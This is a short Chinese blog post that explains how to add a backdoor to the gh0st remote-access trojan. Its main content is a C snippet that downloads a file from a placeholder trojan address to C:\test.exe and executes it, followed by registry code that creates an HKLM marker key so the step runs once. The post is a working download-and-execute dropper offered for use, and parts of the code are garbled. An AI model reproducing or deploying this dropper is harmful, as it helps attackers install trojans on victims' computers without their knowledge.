gh0st加后门方法

2009-9-19 11:23 718 0

摘要: 加后门方法： 1. 下载程序 2. if ...

关键词： nbsp HKEY NULL include DWORD SOFTWARE MACHINE 不要 test ShellExecute

加后门方法： 1. 下载程序 2. if 电脑重启以上运行 c 代码 01.//------------------------------------ 02.#include<windows.h> 03.#include<urlmon.h> //这个可以不要 04.#include<process.h> //这个可以不要 05.#include<Shellapi.h> //这个是对ShellExecute的定义 06.#pragma comment (lib,"Urlmon.lib") //这个也可以不要，有DLL可以用 07.int main() 08.{ 09.URLDownloadToFile(NULL,"木马地址","C:\test.exe",0,NULL); //下载到C:\test.exe 10.ShellExecute(0,"open","c:\test.exe",NULL,NULL,SW_SHOW); //执行test.exe 11.return 0; 12.} 13.//----------------------2 14.HKEY hKey; 15. DWORD dw; 16. DWORD dwData = 0; 17. if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa", 18. 0L,KEY_ALL_ACCESS,&hKey) != ERROR_SUCCESS) 19. //如果存在就执行下面代码 20. { 21. // RegCreateKey(HKEY_LOCAL_MACHINE, "SOFTWARE\tttjgf",&hKey); 22. 23. 24. RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\tw67waa",0L,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dw); 25.// RegSetValueEx(hKey, "hello", 0, REG_DWORD, (LPBYTE) &dwData,sizeof(DWORD)); 26. 27. 28. // file(); 29. } 30.else｛ 31.// file(); 32. 33.｝

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除